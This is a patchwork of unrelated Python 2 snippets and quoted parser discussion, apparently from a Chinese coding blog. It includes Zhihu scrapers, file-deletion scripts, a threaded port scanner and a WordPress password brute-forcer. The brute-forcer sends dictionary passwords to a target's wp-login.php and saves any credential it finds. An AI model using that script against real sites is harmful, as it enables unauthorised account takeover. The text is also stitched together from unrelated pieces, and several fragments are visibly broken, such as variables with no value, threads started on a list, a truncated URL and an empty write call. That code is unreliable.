Input: x = 1, y = 4



Output: 2



Explanation:

1   (0 0 0 1)

4   (0 1 0 0)

       ↑   ↑



The above arrows point to positions where the corresponding bits are different.

x=10

y=20

z=x^y

#solution 1

s=bin(z)

print type(s)

distance=0

for i in s[2:]:

    if i=='1':

        distance+=1

print "distance is %d" %distance

    def twoSum(nums, target):

        """

        :type nums: List[int]

        :type target: int

        :rtype: List[int]

        """

        indics=[]

        for i in range(len(nums)-1):

        #使用两次循环，类似于冒泡算法，尝试每个数和另外一个数的和，枚举

            for j in range(i+1,len(nums)):

                if target== nums[i]+nums[j]:

                    indics.append(i)

                    indics.append(j)

                    return indics

# -*-coding=utf-8-*-

__author__ = 'Rocky'

import os,re



cwd=os.getcwd()

p=re.compile('\.txt')

print cwd

for dirpath, dirname,filename in os.walk(cwd):

    #print dirpath,dirname,filename

    #print dirpath

    print dirname

    print type(filename)

    if filename is not None:

        for i in filename:

        #if filename is not None:



            if p.search(i):

                os.remove(os.path.join(dirpath,i))

#-*-coding=utf-8-*-

import itchat



@itchat.msg_register(itchat.content.TEXT)

def text_reply(msg):

    reply_msg=u'新年快乐! 我是xxx的小秘书,你的消息已收到,主人正忙,稍后会回复你哦~'

    return reply_msg



itchat.auto_login(hotReload=True)

itchat.run()

#判断表存不存在来创建表

def create_table():



    conn = sqlite3.connect(db_name)

    try:

        create_tb_cmd='''

        CREATE TABLE IF NOT EXISTS USER

        (NAME TEXT,

        AGE INT,

        SALARY REAL);

        '''

        #主要就是上面的语句

        conn.execute(create_tb_cmd)

    except:

        print "Create table failed"

        return False

    insert_dt_cmd='''

    INSERT INTO USER (NAME,AGE,SALARY) VALUES ("Jack",10,20.1);

    '''

    conn.execute(insert_dt_cmd)

    conn.commit()

    conn.close()

class C:

    @classmethod

    def f(cls, arg1, arg2, ...): ...

class Data_test(object):

    day=0

    month=0

    year=0

    def __init__(self,year=0,month=0,day=0):

        self.day=day

        self.month=month

        self.year=year



    def out_date(self):

        print "year :"

        print self.year

        print "month :"

        print self.month

        print "day :"

        print self.day

t=Data_test(2016,8,1)

t.out_date()

year :

2016

month :

8

day :

1

string_date='2016-8-1'

year,month,day=map(int,string_date.split('-'))

s=Data_test(year,month,day)

class Data_test2(object):

    day=0

    month=0

    year=0

    def __init__(self,year=0,month=0,day=0):

        self.day=day

        self.month=month

        self.year=year



    @classmethod

    def get_date(cls,

string_date):

        #这里第一个参数是cls， 表示调用当前的类名

        year,month,day=map(int,string_date.split('-'))

        date1=cls(year,month,day)

        #返回的是一个初始化后的类

        return date1



    def out_date(self):

        print "year :"

        print self.year

        print "month :"

        print self.month

        print "day :"

        print self.day

r=Data_test2.get_date("2016-8-6")

r.out_date()

year :

2016

month :

8

day :

1

    if df is None:

        print "None len==0"

        return False

__author__ = 'rocky'

import urllib,urllib2,StringIO,gzip

url="http://image.xitek.com/photo/2 ... ot%3B

filname=url.split("/")[-1]

req=urllib2.Request(url)

resp=urllib2.urlopen(req)

content=resp.read()

#data = StringIO.StringIO(content)

#gzipper = gzip.GzipFile(fileobj=data)

#html = gzipper.read()

f=open(filname,'w')

f.write()

f.close()

Don't use BeautifulSoup, use lxml.soupparser then you're sitting on top of the power of lxml and can use the good bits of BeautifulSoup which is to deal with really broken and crappy HTML.
 
 
 
9down vote
In summary, 

lxml

 is positioned as a lightning-fast production-quality html and xml parser that, by the way, also includes a 

soupparser

 module to fall back on BeautifulSoup's functionality. 

BeautifulSoup

is a one-person project, designed to save you time to quickly extract data out of poorly-formed html or xml.
lxml documentation says that both parsers have advantages and disadvantages. For this reason, 

lxml

 provides a 

soupparser

 so you can switch back and forth. Quoting,
[quote]
BeautifulSoup uses a different parsing approach. It is not a real HTML parser but uses regular expressions to dive through tag soup. It is therefore more forgiving in some cases and less good in others. It is not uncommon that lxml/libxml2 parses and fixes broken HTML better, but BeautifulSoup has superiour support for encoding detection. It very much depends on the input which parser works better.

The downside of using this parser is that it is much slower than the HTML parser of lxml. So if performance matters, you might want to consider using soupparser only as a fallback for certain cases.

lxml

BeautifulSoup

soupparser

lxml

BeautifulSoup

lxml

[code]>>> from BeautifulSoup import UnicodeDammit



>>> def decode_html(html_string):

...     converted = UnicodeDammit(html_string, isHTML=True)

...     if not converted.unicode:

...         raise UnicodeDecodeError(

...             "Failed to detect encoding, tried [%s]",

...             ', '.join(converted.triedEncodings))

...     # print converted.originalEncoding

...     return converted.unicode



>>> root = lxml.html.fromstring(decode_html(tag_soup))

BeautifulSoup

That's it! Have fun! I wrote Beautiful Soup to save everybody time. Once you get used to it, you should be able to wrangle data out of poorly-designed websites in just a few minutes. Send me email if you have any comments, run into problems, or want me to know about your project that uses Beautiful Soup.

[code] --Leonard

[/code]

lxml has been downloaded from the Python Package Index more than two million times and is also available directly in many package distributions, e.g. for Linux or MacOS-X.

The C libraries libxml2 and libxslt have huge benefits:... Standards-compliant... Full-featured... fast. fast! FAST! ... lxml is a new Python binding for libxml2 and libxslt...

    list=[1,2,3,5,4,6,434,2323,333,99999]

    print "max of list is ",

    print max(list)

#-*-coding=utf-8-*-

__author__ = 'rocchen'

from lxml import html

from lxml import etree

import urllib2



def lxml_test():

    url="http://www.caixunzz.com"

    req=urllib2.Request(url=url)

    resp=urllib2.urlopen(req)

    #print resp.read()



    tree=etree.HTML(resp.read())

    href=tree.xpath('//a[@class="label"]/@href')

    #print href.tag

    for i in href:

        #print html.tostring(i)

        #print type(i)

        print i



    print type(href)



lxml_test()

>>> x = { }

>>> y = x

>>> x = { 'a' : 'b' }

>>> y

>>> { }

>>> x = { }

>>> y = x

>>> x['a'] = 'b'

>>> y

>>> { 'a' : 'b' }

p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)

p.wait()

// hang here

print "finished"

p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)

stdout, stderr = p.communicate()

p.wait()

print "Finsih"

# -*- coding=utf-8 -*-

__author__ = 'rocky @ www.30daydo.com'

import urllib2, re, os, codecs,sys,datetime

from bs4 import BeautifulSoup

# example https://zhhrb.sinaapp.com/index.php?date=20160610

from mail_template import MailAtt

reload(sys)

sys.setdefaultencoding('utf-8')



def save2file(filename, content):

    filename = filename + ".txt"

    f = codecs.open(filename, 'a', encoding='utf-8')

    f.write(content)

    f.close()





def getPost(date_time, filter_p):

    url = 'https://zhhrb.sinaapp.com/index.php?date=' + date_time

    user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

    header = {"User-Agent": user_agent}

    req = urllib2.Request(url, headers=header)

    resp = urllib2.urlopen(req)

    content = resp.read()

    p = re.compile('<h2 class="question-title">(.*)</h2></br></a>')

    result = re.findall(p, content)

    count = -1

    row = -1

    for i in result:

        #print i

        return_content = re.findall(filter_p, i)



        if return_content:

            row = count

            break

            #print return_content[0]

        count = count + 1

    #print row

    if row == -1:

        return 0

    link_p = re.compile('<a href="(.*)" target="_blank" rel="nofollow">')

    link_result = re.findall(link_p, content)[row + 1]

    print link_result

    result_req = urllib2.Request(link_result, headers=header)

    result_resp = urllib2.urlopen(result_req)

    #result_content= result_resp.read()

    #print result_content



    bs = BeautifulSoup(result_resp, "html.parser")

    title = bs.title.string.strip()

    #print title

    filename = re.sub('[\/:*?"<>|]', '-', title)

    print filename

    print date_time

    save2file(filename, title)

    save2file(filename, "\n\n\n\n--------------------%s Detail----------------------\n\n" %date_time)



    detail_content = bs.find_all('div', class_='content')



    for i in detail_content:

        #print i

        save2file(filename,"\n\n-------------------------answer  -------------------------\n\n")

        for j in i.strings:



            save2file(filename, j)



    smtp_server = 'smtp.126.com'

    from_mail = sys.argv[1]

    password = sys.argv[2]

    to_mail = 'xxxxx@kindle.cn'

    send_kindle = MailAtt(smtp_server, from_mail, password, to_mail)

    send_kindle.send_txt(filename)





def main():

    sub_folder = os.path.join(os.getcwd(), "content")

    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)

    os.chdir(sub_folder)





    date_time = '20160611'

    filter_p = re.compile('大误.*')

    ori_day=datetime.date(datetime.date.today().year,01,01)

    t=datetime.date(datetime.date.today().year,datetime.date.today().month,datetime.date.today().day)

    delta=(t-ori_day).days

    print delta

    for i in range(delta):

        day=datetime.date(datetime.date.today().year,01,01)+datetime.timedelta(i)

        getPost(day.strftime("%Y%m%d"),filter_p)

    #getPost(date_time, filter_p)



if __name__ == "__main__":

    main()

import os



def isContain(des_str,ori_str):

	for i in des_str:

		if ori_str == i:

			return True

	return False





path=os.getcwd()

print path

des_str=['img','cfg','bct','bin','sh','dtb','txt','mk','pem','mk','pk8','xml','lib','pl','blob','dat']

for fpath,dirs,fname in os.walk(path):

	#print fname

	

	if fname:

		for i in fname:

			#print i

			name=i.split('.')

			if len(name)>=2:

				#print name[1]

				if isContain(des_str,name[1]):

					filepath=os.path.join(fpath,i)

					print "delete file %s" %filepath

					os.remove(filepath)

import socket,sys

import time

from thread_test import MyThread



socket.setdefaulttimeout(1)

#设置每个线程socket的timeou时间，超过1秒没有反应就认为端口不开放

thread_num=4

#线程数目 

ip_end=256

ip_start=0

scope=ip_end/thread_num



def scan(ip_head,ip_low, port):

    try:

        # Alert !!! below statement should be inside scan function. Else each it is one s

        ip=ip_head+str(ip_low)

	print ip

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	s.connect((ip, port))

	#通过这一句判断 是否连通

        s.close()

	print "ip %s port %d open\n" %(ip,port)

        return True

    except:

        return False





def scan_range(ip_head,ip_range,port):

	start,end=ip_range

	for i in range(start,end):

		scan(ip_head,i,port)



if len(sys.argv)<3:

	print "input ip and port"

	exit()



ip_head=sys.argv[1]

port=int(sys.argv[2])





ip_range=

for i in range(thread_num):

	x_range=[i*scope,(i+1)*scope-1]

	ip_range.append(x_range)



threads=

for i in range(thread_num):

	t=MyThread(scan_range,(ip_head,ip_range,port))

	threads.append(t)

for i in range(thread_num):

	threads.start()

for i in range(thread_num):

	threads.join()

	#设置进程阻塞，防止主线程退出了，其他的多线程还在运行



print "*****end*****"

import thread,threading,time,datetime

from time import sleep,ctime

def loop1():

	print "start %s " %ctime()

	print "start in loop1"

	sleep(3)

	print "end %s " %ctime()



def loop2():

	print "sart %s " %ctime()

	print "start in loop2"

	sleep(6)

	print "end %s " %ctime()





class MyThread(threading.Thread):

	def __init__(self,fun,arg,name=""):

		threading.Thread.__init__(self)

		self.fun=fun

		self.arg=arg

		self.name=name

		#self.result



	def run(self):

		self.result=apply(self.fun,self.arg)

	

	def getResult(self):

		return self.result



def fib(n):

	if n<2:

		return 1

	else:

		return fib(n-1)+fib(n-2)





def sum(n):

	if n<2:

		return 1

	else:

		return n+sum(n-1)	



def fab(n):

	if n<2:

		return 1

	else:

		return n*fab(n-1)



def single_thread():		

	print fib(12)		

	print sum(12)

	print fab(12)





def multi_thread():

	print "in multithread"

	fun_list=[fib,sum,fab]

	n=len(fun_list)

	threads=

	count=12

	for i in range(n):

		t=MyThread(fun_list,(count,),fun_list.__name__)

		threads.append(t)

	for i in range(n):

		threads.start()



	for i in range(n):

		threads.join()

		result= threads.getResult()

		print result

def main():

	'''

	print "start at main"

	thread.start_new_thread(loop1,())

	thread.start_new_thread(loop2,())

	sleep(10)

	print "end at main"

	'''

	start=ctime()

	#print "Used %f" %(end-start).seconds

	print start	

	single_thread()

	end=ctime()

	print end

	multi_thread()

	#print "used %s" %(end-start).seconds 

if __name__=="__main__":

	main()

# coding=utf-8

# 破解wordpress 后台用户密码

import urllib, urllib2, time, re, cookielib,sys





class wordpress():

    def __init__(self, host, username):

		#初始化定义 header ，避免被服务器屏蔽

        self.username = username

        self.http="http://"+host

        self.url =  self.http + "/wp-login.php"

        self.redirect = self.http + "/wp-admin/"

        self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'

        self.referer=self.http+"/wp-login.php"

        self.cook="wordpress_test_cookie=WP+Cookie+check"

        self.host=host

        self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}

        self.cookie = cookielib.CookieJar()

        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))





    def crash(self, filename):

        try:

            pwd = open(filename, 'r')

			#读取密码文件，密码文件中密码越多破解的概率越大

            while 1 :

                i=pwd.readline()

                if not i :

                    break



                data = urllib.urlencode(

                    {"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})

                Req = urllib2.Request(url=self.url, data=data, headers=self.headers)

				#构造好数据包之后提交给wordpress网站后台

                Resp = urllib2.urlopen(Req)

                result = Resp.read()

                # print result

                login = re.search(r'login_error', result)

				#判断返回来的字符串，如果有login error说明失败了。

                if login:

                    pass

                else:

                    print "Crashed! password is %s %s" % (self.username,i.strip())

                    g=open("wordpress.txt",'w+')

                    g.write("Crashed! password is %s %s" % (self.username,i.strip()))

                    pwd.close()

                    g.close()

					#如果匹配到密码， 则这次任务完成，退出程序

                    exit()

                    break



            pwd.close()



			except Exception, e:

            print "error"

            print e

            print "Error in reading password"





if __name__ == "__main__":

    print "begin at " + time.ctime()

    host=sys.argv[1]

    #url = "http://"+host

	#给程序提供参数，为你要破解的网址

    user = sys.argv[2]

    dictfile=sys.argv[3]

	#提供你事先准备好的密码文件

    obj = wordpress(host, user)

    #obj.check(dictfile)

    obj.crash(dictfile)

    #obj.crash_v()

    print "end at " + time.ctime()

# -*-coding=utf-8-*-

__author__ = 'Rocky'

# -*-coding=utf-8-*-

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

import smtplib

from email import Encoders, Utils

import urllib2

import time

import re

import sys

import os



from bs4 import BeautifulSoup



from email.Header import Header



reload(sys)

sys.setdefaultencoding('utf-8')





class GetContent():

    def __init__(self, id):



        # 给出的第一个参数 就是你要下载的问题的id

        # 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574

        # 那么 就输入 python zhihu.py 29372574



        id_link = "/question/" + id

        self.getAnswer(id_link)



    def save2file(self, filename, content):

        # 保存为电子书文件

        filename = filename + ".txt"

        f = open(filename, 'a')

        f.write(content)

        f.close()



    def getAnswer(self, answerID):

        host = "http://www.zhihu.com"

        url = host + answerID

        print url

        user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

        # 构造header 伪装一下

        header = {"User-Agent": user_agent}

        req = urllib2.Request(url, headers=header)



        try:

            resp = urllib2.urlopen(req)

        except:

            print "Time out. Retry"

            time.sleep(30)

            # try to switch with proxy ip

            resp = urllib2.urlopen(req)

        # 这里已经获取了 网页的代码，接下来就是提取你想要的内容。 使用beautifulSoup 来处理，很方便

        try:

            bs = BeautifulSoup(resp)



        except:

            print "Beautifulsoup error"

            return None



        title = bs.title

        # 获取的标题



        filename_old = title.string.strip()

        print filename_old

        filename = re.sub('[\/:*?"<>|]', '-', filename_old)

        # 用来保存内容的文件名，因为文件名不能有一些特殊符号，所以使用正则表达式过滤掉



        self.save2file(filename, title.string)





        detail = bs.find("div", class_="zm-editable-content")



        self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")

        # 获取问题的补充内容



        if detail is not None:



            for i in detail.strings:

                self.save2file(filename, unicode(i))



        answer = bs.find_all("div", class_="zm-editable-content clearfix")

        k = 0

        index = 0

        for each_answer in answer:



            self.save2file(filename, "\n\n-------------------------answer %s via  -------------------------\n\n" % k)



            for a in each_answer.strings:

                # 循环获取每一个答案的内容，然后保存到文件中

                self.save2file(filename, unicode(a))

            k += 1

            index = index + 1



        smtp_server = 'smtp.126.com'

        from_mail = 'your@126.com'

        password = 'yourpassword'

        to_mail = 'yourname@kindle.cn'



        # send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)

        # send_kindle.send_txt(filename)



        # 调用发送邮件函数，把电子书发送到你的kindle用户的邮箱账号，这样你的kindle就可以收到电子书啦

        print filename





class MailAtt():

    def __init__(self, smtp_server, from_mail, password, to_mail):

        self.server = smtp_server

        self.username = from_mail.split("@")[0]

        self.from_mail = from_mail

        self.password = password

        self.to_mail = to_mail



        # 初始化邮箱设置



    def send_txt(self, filename):

        # 这里发送附件尤其要注意字符编码，当时调试了挺久的，因为收到的文件总是乱码

        self.smtp = smtplib.SMTP()

        self.smtp.connect(self.server)

        self.smtp.login(self.username, self.password)

        self.msg = MIMEMultipart()

        self.msg['to'] = self.to_mail

        self.msg['from'] = self.from_mail

        self.msg['Subject'] = "Convert"

        self.filename = filename + ".txt"

        self.msg['Date'] = Utils.formatdate(localtime=1)

        content = open(self.filename.decode('utf-8'), 'rb').read()

        # print content

        self.att = MIMEText(content, 'base64', 'utf-8')

        self.att['Content-Type'] = 'application/octet-stream'

        # self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))

        self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')

        # print self.att["Content-Disposition"]

        self.msg.attach(self.att)



        self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())

        self.smtp.quit()





if __name__ == "__main__":



    sub_folder = os.path.join(os.getcwd(), "content")

    # 专门用于存放下载的电子书的目录



    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)



    os.chdir(sub_folder)



    id = sys.argv[1]

    # 给出的第一个参数 就是你要下载的问题的id

    # 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574

    # 那么 就输入 python zhihu.py 29372574





    # id_link="/question/"+id

    obj = GetContent(id)

    # obj.getAnswer(id_link)



    # 调用获取函数



    print "Done"

# -*-coding=utf-8-*-

__author__ = 'Rocky'

import requests

import cookielib

import re

import json

import time

import os

from getContent import GetContent

agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'

headers={'Host':'www.zhihu.com',

         'Referer':'https://www.zhihu.com',

         'User-Agent':agent}



#全局变量

session=requests.session()



session.cookies=cookielib.LWPCookieJar(filename="cookies")



try:

    session.cookies.load(ignore_discard=True)

except:

    print "Cookie can't load"



def isLogin():

    url='https://www.zhihu.com/settings/profile'

    login_code=session.get(url,headers=headers,allow_redirects=False).status_code

    print login_code

    if login_code == 200:

        return True

    else:

        return False



def get_xsrf():

    url='http://www.zhihu.com'

    r=session.get(url,headers=headers,allow_redirects=False)

    txt=r.text

    result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]

    return result



def getCaptcha():

    #r=1471341285051

    r=(time.time()*1000)

    url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'



    image=session.get(url,headers=headers)

    f=open("photo.jpg",'wb')

    f.write(image.content)

    f.close()





def Login():

    xsrf=get_xsrf()

    print xsrf

    print len(xsrf)

    login_url='http://www.zhihu.com/login/email'

    data={

    '_xsrf':xsrf,

    'password':'*',

    'remember_me':'true',

    'email':'*'

    }

    try:

        content=session.post(login_url,data=data,headers=headers)

        login_code=content.text

        print content.status_code

        #this line important ! if no status, if will fail and execute the except part

        #print content.status



        if content.status_code != requests.codes.ok:

            print "Need to verification code !"

            getCaptcha()

            #print "Please input the code of the captcha"

            code=raw_input("Please input the code of the captcha")

            data['captcha']=code

            content=session.post(login_url,data=data,headers=headers)

            print content.status_code



            if content.status_code==requests.codes.ok:

                print "Login successful"

                session.cookies.save()

            #print login_code

        else:

            session.cookies.save()

    except:

        print "Error in login"

        return False



def focus_question():

    focus_id=

    url='https://www.zhihu.com/question/following'

    content=session.get(url,headers=headers)

    print content

    p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')

    id_list=p.findall(content.text)

    pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')

    result=re.findall(pattern,content.text)[0]

    print result

    for i in id_list:

        print i

        focus_id.append(i)



    url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'

    page=20

    offset=20

    end_page=500

    xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]

    while offset < end_page:

        #para='{"offset":20}'

        #print para

        print "page: %d" %offset

        params={"offset":offset}

        params_json=json.dumps(params)



        data={

        'method':'next',

        'params':params_json,

        '_xsrf':xsrf

        }

        #注意上面那里 post的data需要一个xsrf的字段，不然会返回403 的错误，这个在抓包的过程中一直都没有看到提交到xsrf，所以自己摸索出来的

        offset=offset+page

        headers_l={

        'Host':'www.zhihu.com',

        'Referer':'https://www.zhihu.com/question/following',

        'User-Agent':agent,

        'Origin':'https://www.zhihu.com',

        'X-Requested-With':'XMLHttpRequest'

        }

        try:

            s=session.post(url_next,data=data,headers=headers_l)

            #print s.status_code

            #print s.text

            msgs=json.loads(s.text)

            msg=msgs['msg']

            for i in msg:

                id_sub=re.findall(p,i)



                for j in id_sub:

                    print j

                    id_list.append(j)



        except:

            print "Getting Error "





    return id_list



def main():



    if isLogin():

        print "Has login"

    else:

        print "Need to login"

        Login()

    list_id=focus_question()

    for i in list_id:

        print i

        obj=GetContent(i)



    #getCaptcha()

if __name__=='__main__':

    sub_folder=os.path.join(os.getcwd(),"content")

    #专门用于存放下载的电子书的目录



    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)



    os.chdir(sub_folder)



    main()